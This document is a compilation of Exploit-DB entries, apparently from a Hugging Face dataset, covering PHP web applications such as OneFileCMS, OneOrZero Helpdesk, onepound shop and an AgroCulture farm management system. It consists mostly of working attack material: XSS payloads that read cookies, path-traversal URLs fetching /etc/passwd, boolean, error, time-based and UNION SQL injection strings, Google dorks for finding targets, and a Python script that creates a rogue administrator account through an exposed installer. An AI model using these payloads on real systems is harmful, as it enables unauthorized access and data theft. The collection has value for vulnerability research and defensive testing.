deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18632
Description: OneFileCMS - Failure to Restrict URL Access
Type: webapps
Platform: php
Date: 2012-03-20
Author: Abhi M Balakrishnan

Exploit:
# Exploit Title: OneFileCMS - Failure to Restrict URL Access
# Date: 12th March 2012
# Author: Abhi M Balakrishnan
# Software Link: https://raw.github.com/rocktronica/OneFileCMS/f265961d0646890c9efe05b93983124abc18c56e/onefilecms.php
# Version: upto 1.1.4
# Tested on: Apache-2.2.17, PHP-5.2.17, MySQL-5.5.9, Windows 6.2
# Vulnerability Status: Fixed on version 1.1.5.	Developer was very quick in responding to mails and to fix the issue. Bugfix version released within minutes after the notification. Great work.!!!
	Commit: https://github.com/rocktronica/OneFileCMS/commit/a4e36213d9fe3efccc2f6730d29fd2a05c57594b

# Vulnerability: Failure to Restrict URL Access, since the redirection mechanism can be bypassed easily

# Exploit:

	Step 1:	Create a rule in No-Redirect Add-on: ^http://example.com/path/
	Step 2:	Access http://example.com/path/admin.php

# PoC Video: http://www.youtube.com/watch?v=0lPz24Z7Q_4
Exploit-DB #36072
Description: OneFileCMS 1.1.1 - 'onefilecms.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-08-21
Author: mr.pr0n

Exploit:
source: https://www.securityfocus.com/bid/49257/info

OneFileCMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

OneFileCMS 1.1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/onefilecms/onefilecms.php?p='"><marquee><h1>XSS Vulnerability<script>alert(String.fromCharCode(88,83,83))</script></h1></marquee>
Exploit-DB #18607
Description: OneFileCMS 1.1.5 - Local File Inclusion
Type: webapps
Platform: php
Date: 2012-03-16
Author: mr.pr0n

Exploit:
# Exploit Title: OneFileCMS v.1.1.5 Local File Inclusion Vulnerability
# Google Dork: --
# Date: 16/03/2012
# Author: mr.pr0n (@_pr0n_)
# Homepage: http://ghostinthelab.wordpress.com/ - http://s3cure.gr
# Software Link: https://github.com/rocktronica/OneFileCMS
# Version: OneFileCMS v.1.1.5
# Tested on: Linux Fedora 14

===============
Description
===============
OneFileCMS is just that. It's a flat, light, one file CMS (Content
Management System) entirely contained in an easy-to-implement, highly
customizable, database-less PHP script. Coupling a utilitarian code editor
with all the basic necessities of an FTP application, OneFileCMS can
maintain a whole website completely in-browser without any external
programs.

=======================================================
[!] All vulnerabilities requires authentication. [!]
=======================================================


Directory Listing, using the "i" parameter:
http://TARGET/onefilecms/onefilecms.php?i=../../../../


Read local files, using the "f" parameter:
http://TARGET/onefilecms/onefilecms.php?f=../../../../etc/passwd
http://TARGET/onefilecms/onefilecms.php?f=../../../../var/www/html/onefilecms/onefilecms.php

-- 
http://ghostinthelab.wordpress.com
Exploit-DB #18631
Description: OneForum - 'topic.php' SQL Injection
Type: webapps
Platform: php
Date: 2012-03-20
Author: Red Security TEAM

Exploit:
# 
# Title     : OneForum SQL Injection Vulnerability
# Author    : Red Security TEAM
# Date      : 22/02/2012
# Risk      : High
# Software  : http://www.onescripts.de/
# Download  : http://www.onescripts.de/download/oneforum.zip
# Tested On : CentOS
# Contact   : Info [ at ] RedSecurity [ . ] COM
# Home      : http://RedSecurity.COM
#
# Exploit   :
# http://server/topic.php?id=[SQLi]
#
Exploit-DB #6292
Description: onenews Beta 2 - Cross-Site Scripting / HTML Injection / SQL Injection
Type: webapps
Platform: php
Date: 2008-08-23
Author: suN8Hclf

Exploit:
______________________///////////////\\\\\\\\\\\\\\\____________________
}Name   : OneNews Beta 2 Multiple Vulnerabilities                      {
{Author : suN8Hclf[crimsoN_Loyd9], (DaRk-CodeRs Group)                 }
}Source : http://sourceforge.net/project/showfiles.php?group_id=193198 {
{Dork   : Powered by One-News                                          }
}Greetz : all DaRk-CodeRs guys, e.wiZz, str0ke                         {
_________________________________{}*{}__________________________________


==========================
|1. XSS and html injection|
==========================
Conditions: MAGIC_QUOTES=ON/OFF
Vulnerable code(add.php):
--------------------------------------CODE----------------------------------------------
$insert = "INSERT INTO entries (title, content) VALUES ('" . $_POST['title'] . "', '" . $_POST['content'] . "')";
mysql_query($insert) or die ('I cannot do that because ' . mysql_error());
--------------------------------------CODE----------------------------------------------
Vulnerable code(index.php):
--------------------------------------CODE----------------------------------------------
$insert = "INSERT INTO comments (blogid, author, comment) VALUES ('" . $_POST['itemnum'] . "', '" . $_POST['author'] . "', '" . $_POST['comment'] . "')";
mysql_query($insert) or die ('I cannot do that because ' . mysql_error());
--------------------------------------CODE----------------------------------------------

NOTE:
To exploit the bug in the add.php code, you have got to be logged in!!!

Exploit:
Put this down into the forms, while adding comments(index.php) or news(add.php):

1. <h1>HACKED</h1>
2. <html><head></head><body bgcolor=\"red\">HACKED</body></html>
3. <script>alert(\'Hacked\');</script>
4. Use your imagination :)

==========================
|2. SQL Injection        |
==========================
Conditions: MAGIC_QUOTES=OFF
Vulnerable code(index.php):
--------------------------------------CODE----------------------------------------------
$query = "SELECT * FROM entries WHERE id = '" . $_GET['q'] . "' LIMIT 1";
$result = mysql_query($query);
while($row = mysql_fetch_array($result)){ 
--------------------------------------CODE----------------------------------------------

Exploit:

http://localhost:8080/onenews_beta2/index.php?q=3' and 1=2 union select 1,2,3/*

# milw0rm.com [2008-08-23]
Exploit-DB #27509
Description: OneOrZero 1.6.3 Helpdesk - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-28
Author: Preddy

Exploit:
source: https://www.securityfocus.com/bid/17298/info

OneOrZero Helpdesk is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

OneOrZero Helpdesk 1.6.3.0 is prone to this issue. Other versions may be affected as well.

http://www.example.com/index.php?t=kbase&act=kans&id=[sql]
Exploit-DB #36582
Description: OneOrZero AIMS - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-01-18
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/51549/info

OneOrZero AIMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

OneOrZero AIMS 2.8.0 Trial build 231211 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #15519
Description: OneOrZero AIms 2.6.0 Members Edition - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-11-13
Author: Valentin

Exploit:
[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = OneOrZero AIMS v2.6.0 Members Edition Multiple Vulnerabilities
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = OneOrZero AIMS
Vendor = OneOrZero
Vendor Website = http://oneorzero.com/
Affected Version(s) = 2.6.0


Hint: The vulnerabilities can only be seen if you are logged in. 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> SQL Injection
Multiple scripts and parameters are affected by remote SQL injection vulnerabilities.
You can also manipulate SQL queries with the help of various search fields of this
web app.

Some example URLs:
index.php?controller=app_oneorzerohelpdesk_main&subcontroller=search_management_manage&option=saved_search&global=1&id=[SQL Injection]
index.php?controller=app_oneorzerohelpdesk_main&subcontroller=search_management_manage&option=show_item_search&item_types=[SQL Injection]


>> Local File Inclusion
index.php?controller=[LFI]&subcontroller=app_oneorzerotimemanager_manage&option=show_report
This vulnerability can be tricky to exploit. If OpenBaseDir is set, you can at least
view files in the directory of this web software.


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 13.11.2010


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz = cr4wl3r, JosS, packetstormsecurity.org, exploit-db.com


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]
Exploit-DB #22606
Description: OneOrZero Helpdesk 1.4 - 'install.php' Administrative Access
Type: webapps
Platform: php
Date: 2003-05-15
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/7611/info

OneOrZero Helpdesk has been reported prone to an issue that may result in an attacker obtaining unauthorized administrative access.

The issue presents itself due to a programming error in a Helpdesk script.
Reportedly a script does not sufficiently check if an instance of OneOrZero Helpdesk has already been installed.

import urlparse
import httplib
import string

OneOrZero("http://www.target.com","80","NewUserName","NewPassword")


class OneOrZero:
    def __init__(self,target,port,user,password):
        if port != "":
            self.port=str(port)
        else :
            self.port="80"
        self.path=str(urlparse.urlparse(target)[2])
        self.target=str(urlparse.urlparse(target)[1])
        self.user=str(user)
        self.password=str(password)
        self.USER_AGENT='OneOrZero.py'
        self.CreateAdminAccount()

    def CreateAdminAccount(self):


data='step=2&first=admin&last=admin&user='+self.user+'&pwd1='+self.password+'&pwd2='+self.password+'&email=a@a.a&office=abcd'

        try :
            print "Connecting On "+self.target+"...\n"

            http=httplib.HTTP(self.target,self.port)

            print "Sending Data On "+self.target+"...\n"

            http.putrequest("POST",self.path+"/admin/install.php")

	    http.putheader("Content-Type","application/x-www-form-urlencoded")
            http.putheader("User-Agent",self.USER_AGENT)
            http.putheader("Host",self.target)
            http.putheader("Content-Length",str(len(data)))
            http.endheaders()

            http.send(data)

            code,msg,headers = http.getreply()

            print "HTTP Code : ",str(code)
            print "HTTP Connection : ",msg
            print "HTTP headers : \n",headers,"\n"

            file=http.getfile()
            if string.find(file.read(),"Administrator Account Created Successfully.") != -1:
                print "Congratulations, Administrator Account Created Successfully."
                print "You Can Log In Here : http://"+self.target+self.path+"/admin/control.php"
                print "User : ",self.user
                print "Password : ",self.password
            else :
                print "Administrator Account Hasn't Been Created."

        except :
            print "Error During Admin Account Creation."
Exploit-DB #22605
Description: OneOrZero Helpdesk 1.4 - 'TUpdate.php' SQL Injection
Type: webapps
Platform: php
Date: 2003-05-15
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/7609/info

An SQL injection issue has been reported to affect OneOrZero Helpdesk. The error presents itself in a OneOrZero Helpdesk script that fails to sufficiently sanitize user-supplied input before including it in SQL queries.

Successful exploitation could result in compromise of the OneOrZero Helpdesk site integrity.

http://www.example.com/supporter/tupdate.php?groupid=change&sg=groupid,description=char(97,98,99,100)&id=10
Exploit-DB #8168
Description: OneOrZero Helpdesk 1.6.5.7 - Local File Inclusion
Type: webapps
Platform: php
Date: 2009-03-06
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 #############################################################################
 #  [ OneOrZero Helpdesk <= 1.6.5.7 ]   Local File Inclusion Vulnerability   #
 #############################################################################
 # 
 # Script: "OneOrZero Helpdesk and Task Management System is a powerful enterprise helpdesk system
 #          used by companies and groups large and small to manage information and requests in their organization. "
 #
 # Script site: http://www.oneorzero.com/
 # Download: http://www.oneorzero.com/index.php?controller=main_general&option=main_downloads
 #
 # [LFI] Vuln: http://site.com/oozv1657/common/login.php?default_language=../../../../../../../../../../etc/passwd%00
 #      
 # Bug: ./oozv1657/common/login.php (line: 104)
 #
 # ...
 #	// require_once "../common/common.php";
 #	if (eregi("supporter", $_SERVER[PHP_SELF]) || eregi("admin", $_SERVER[PHP_SELF]))
 # 	   require_once "../lang/$default_language.lang.php";
 #	else
 # 	   require_once "lang/$default_language.lang.php";							// LFI (register_globals = On, magic_quotes_gpc = Off)
 # ... 	 
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2009 ] 

*******************************************************************************************

# milw0rm.com [2009-03-06]
Exploit-DB #12157
Description: OnePC mySite Management Software - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-11
Author: Valentin

Exploit:
# Exploit Title:  OnePC mySite Management Software SQL Injection Vulnerability
# Date: 10.04.2010
# Author: Valentin
# Category: webapps/0day
# Version: 
# Tested on: 
# CVE :  
# Code : 



:: General information
:: OnePC mySite Management Software SQL Injection Vulnerability
:: by Valentin Hoebel
:: valentin@xenuser.org

:: Product information
:: Name =  OnePC mySite Management Software
:: Vendor = OnePC
:: Vendor Website = http://www.onepc.net/
:: Affected versions = Beta 5


:: SQL Injection Vulnerability

Vulnerable URL
http://www.some-cool-domain.tld/index.php?view=docs&doc_id=XX

Exploit the vulnerability
http://www.some-cool-domain.tld/index.php?view=docs&doc_id=XX+AND+1=2+UNION+SELECT+concat(user()),concat(user()),concat(user()),concat(user()),5--


:: Additional information
:: Vendor notified = 10.04.2010
:: Advisory published = 11.04.2010
Software seems not to be developed any further, not many websites are using it today.
Exploit-DB #12003
Description: onepound Shop / CMS - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2010-04-01
Author: Valentin

Exploit:
:: General information
:: onepound shop / cms XSS and SQL Injection vulnerabilities
:: by Valentin Hoebel
:: valentin@xenuser.org

:: Product information
:: Name = onepound shop / cms
:: Vendor = onepound
:: Vendor Website = http://www.onepound.cn
:: About the product = no information available
:: Affected versions = no information available
:: Google dork = e.g. "inurl:productview.php?id=" and look for Asian shopping portals :D


:: Vulnerabilities

#1 XSS
Several parts of the onepound shop / cms don't filter out HTMl or Java Script code, e.g. the search field.

Example for HTML code:
"><iframe src=http://www.google.de></iframe>

Example for typical XSS URL:
http://some-cool-domain.tld/productinfo.php?keyword="><iframe src=http://www.google.de></iframe>
--------------------------------------------------------------------------------------------------------


#2 SQL Injection
On 13th July 2009 Affix <root@root-the.net> discovered that the products.php file is vulnerable for SQL injections.
Browsing their shop systems and testing stuff revealed also other possibilities for injecting SQL stuff. I was not able to find out if the other files were already vulnerable then Affix published his advisory.

Vulnerable URLs:
http://some-cool-domain.tld/productinfo.php?id=[SQL injection]
http://some-cool-domain.tld/productview.php?id=[SQL injection]

Example for injecting SQL stuff:
http://some-cool-domain.tld/productinfo.php?id=236+AND+1=2+UNION+SELECT+1,concat(user()),concat(user()),4,5,concat(user()),concat(user()),concat(user()),9,10,11,12,13,14,15-- 
(Tested on a live website using onepound shop / cms.)
--------------------------------------------------------------------------------------------------------


:: Additional information
Sadly I was not able to gather more information about affected versions or products they are selling. Quick checks shows that many websites are using their shop / cms and are vulnerable in many ways.
Exploit-DB #9138
Description: onepound shop 1.x - 'products.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-13
Author: Affix

Exploit:
#################################################################
#		      _______ _________ _       		#
#		     (  ____ )\__   __/( (    /|		#
#		     | (    )|   ) (   |  \  ( |		#
#		     | (____)|   | |   |   \ | |		#
#		     |     __)   | |   | (\ \) |		#
#		     | (\ (      | |   | | \   |		#
#		     | ) \ \__   | |   | )  \  |		#
#		     |/   \__/   )_(   |/    )_)		#
#                        http://root-the.net 			#
#################################################################
#[+] onepund shop 1.x products.php SQL Injection Vulnerability  #
#[+] Vendor : onepound.cn <ttp://www.onepound.cn/>              #
#[+] Exploit : Affix <root@root-the.net>			#
#[+] Greetz : Mad-Hatter, Atomiku, RTN, Terogen, SCD, Boxhead,  #
#	      str0ke, tekto, SonicX, Android, tw0		#
#[+] dork : "Powered by OnePound"				#
#################################################################

Example :
   http://site.com/products.php?id='

Demo :
   http://site.com/products.php?id=-9+UNION+SELECT+1,2,version%28%29,4,5,6,7,8,9,10,11,12,13--

# milw0rm.com [2009-07-13]
Exploit-DB #48440
Description: Online AgroCulture Farm Management System 1.0 - 'pid' SQL Injection
Type: webapps
Platform: php
Date: 2020-05-07
Author: BKpatron

Exploit:
# Exploit Title: Online AgroCulture Farm Management System 1.0 - 'pid' SQL Injection
# Google Dork: N/A
# Date: 2020-05-07
# Exploit Author: BKpatron
# Vendor Homepage: https://www.sourcecodester.com/php/14198/online-agroculture-farm-management-system-phpmysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14198&title=Online+AgroCulture+Farm+Management+System+in+PHP%2FMySQL
# Version: v1.0
# Tested on: Win 10
# CVE: N/A
# my website: bkpatron.com

# Discription:
The Online AgroCulture Farm Management System v1.0 application is vulnerable to
SQL injection via the 'pid' parameter on the review.php page.
# vulnerable file : review.php
http://localhost/AgroCulture/review.php?pid=27

Parameter: pid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pid=27' AND 5853=5853 AND 'EmvW'='EmvW

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: pid=27' AND (SELECT 9739 FROM(SELECT COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT (ELT(9739=9739,1))),0x7176626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'tpnl'='tpnl

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: pid=27' AND (SELECT 7650 FROM (SELECT(SLEEP(5)))bwDl) AND 'IWff'='IWff

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: pid=-6157' UNION ALL SELECT NULL,NULL,CONCAT(0x[PII_REDACTED],0x6d7a[PII_REDACTED]635a495a424c56644c[PII_REDACTED]4553794e674764546a6c67747a[PII_REDACTED]6a,0x7176626a71),NULL,NULL,NULL,NULL,NULL-- RXWN
[INFO] the back-end DBMS is MySQL
web application technology: PHP, Apache 2.4.39, PHP 7.2.18
back-end DBMS: MySQL >= 5.0


# Proof of Concept:
http://localhost/vulnerability/ncn/AgroCulture/review.php?pid=sqli

GET AgroCulture/review.php?pid=27 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie:PHPSESSID=gd27cb23t7m8o57giuvh0f8e7m
Connection: keep-alive
Upgrade-Insecure-Requests: 1
pid=-6157%27%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(0x[PII_REDACTED],0x6d7a[PII_REDACTED]635a495a424c56644c[PII_REDACTED]4553794e674764546a6c67747a[PII_REDACTED]6a,0x7176626a71),NULL,NULL,NULL,NULL,NULL--%20RXWN
Exploit-DB #48444
Description: Online AgroCulture Farm Management System 1.0 - 'uname' SQL Injection
Type: webapps
Platform: php
Date: 2020-05-11
Author: Tarun Sehgal

Exploit:
# Exploit Title: Online AgroCulture Farm Management System 1.0 - 'uname' SQL Injection
# Date: 2020-05-06
# Exploit Author: Tarun Sehgal
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/donbermoy/farm_management_system_in_php_with_source_code.zip
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

---------------------------------------------------------------------------------

#parameter Vulnerable: uname
# Injected Request
#Below request will print database name and MariaDB version.

POST /fms/Login/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 204
Origin: http://localhost
Connection: close
Referer: http://localhost/fms/index.php
Cookie: PHPSESSID=fiiiu7pq9kvhdr770ahd7dejco
Upgrade-Insecure-Requests: 1

uname=admin' OR (SELECT 1935 FROM(SELECT COUNT(*),CONCAT(database(),(SELECT (ELT(1935=1935,1))),0x3a,version(),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- dqgD&pass=admin&category=1



-----------------------------------------------------------------------------------------------------------------------------
#Response
HTTP/1.1 302 Found
Date: Wed, 06 May 2020 13:21:36 GMT
Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.5
X-Powered-By: PHP/7.4.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: error.php
Content-Length: 356
Connection: close
Content-Type: text/html; charset=UTF-8


<b>Warning</b>:  mysqli_query(): (23000/1062): Duplicate entry 'agroculture1:10.4.11-MariaDB1' for key 'group_key' in <b>